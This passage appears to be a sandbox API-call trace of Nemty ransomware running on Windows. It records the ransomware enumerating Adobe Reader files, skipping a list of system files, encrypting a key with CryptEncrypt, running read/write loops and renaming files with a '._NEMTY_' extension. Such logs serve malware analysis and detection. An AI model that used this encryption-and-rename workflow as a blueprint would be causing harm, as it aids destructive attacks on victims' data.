lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0201.629] CloseHandle (hObject=0xffffffff) returned 0 [0201.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0201.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0201.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0201.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0201.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0201.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0201.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.630] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-0"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-0._nemty_kgobjgd_")) returned 0 [0201.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0201.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0201.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0201.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0201.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0201.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0201.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0201.630] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-1", cAlternateFileName="ADE5E5~1")) returned 1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2=".") returned 1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="..") returned 1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="...") returned 1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="windows") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="$RECYCLE.BIN") returned 1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="rsa") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="NTDETECT.COM") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="ntldr") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="MSDOS.SYS") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="IO.SYS") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="boot.ini") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="boot.ini") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="AUTOEXEC.BAT") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="ntuser.dat") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="desktop.ini") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="CONFIG.SYS") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="RECYCLER") returned -1 [0201.630] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="BOOTSECT.BAK") returned -1 [0201.631] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="bootmgr") returned -1 [0201.631] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="programdata") returned -1 [0201.631] lstrcmpiW (lpString1="Adobe-Korea1-1", lpString2="appdata") returned -1 [0201.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-1", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-1", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-1", lpUsedDefaultChar=0x0) returned 14 [0201.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-1", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-1", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-1", lpUsedDefaultChar=0x0) returned 14 [0201.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-1", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-1", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-1", lpUsedDefaultChar=0x0) returned 14 [0201.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-1", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0201.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-1", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-1", lpUsedDefaultChar=0x0) returned 14 [0201.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0201.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0201.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0201.631] Sleep (dwMilliseconds=0x5) [0201.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2bd5f1f0, dwHighDateTime=0x1d561e8)) [0201.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2bd5f1f0, dwHighDateTime=0x1d561e8)) [0201.644] GetLastError () returned 0x5 [0201.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0201.644] GetLastError () returned 0x5 [0201.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0201.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0201.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.644] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0201.644] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0201.644] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0201.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0201.644] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="otizJ9VgDzyZ5xQQOzftjg4ZE3jluvyR+WnR3th/yClT7LtoZY0WoLghtSzwgbPT\r\nfqb8NiNmvlJyBRkjud98M+0tapyxpBQWy3wV7jtn8n5RWs/fn5AX7QoVPO+uQ+Bf\r\nQk4BIyiRz5h36Up6ZFVgUPHD5gcIitkDB4iyoq3g7fLtXJLe0EQMk9RERAf1gtj1\r\nQGwesucBtHp8+RKJaw+VK5aiYfqxisd8ShYN0IIheyEVwUN/bWtvs8ekUjmhct1f\r\n78pwrCNJNauWO5t1SdLMmavjY5H31K8OPGAYUqNRb/U0O41D2glz4biwiXtXiN1g\r\n17dD8QpYXBsecNgg2JV8kQ==\r\n", pcchString=0x653e91c) returned 1 [0201.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0201.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0201.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0201.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0201.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0201.644] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0201.644] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0201.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0201.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.711] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.711] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.720] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.720] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.739] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.739] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0201.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0201.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0201.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0201.751] CloseHandle (hObject=0xffffffff) returned 0 [0201.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0201.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0201.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0201.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0201.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0201.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0201.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0201.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0201.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0201.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0201.751] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-1"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-1._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-1._nemty_kgobjgd_")) returned 0 [0201.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0201.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0201.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0201.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0201.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0201.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0201.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0201.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0201.752] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, 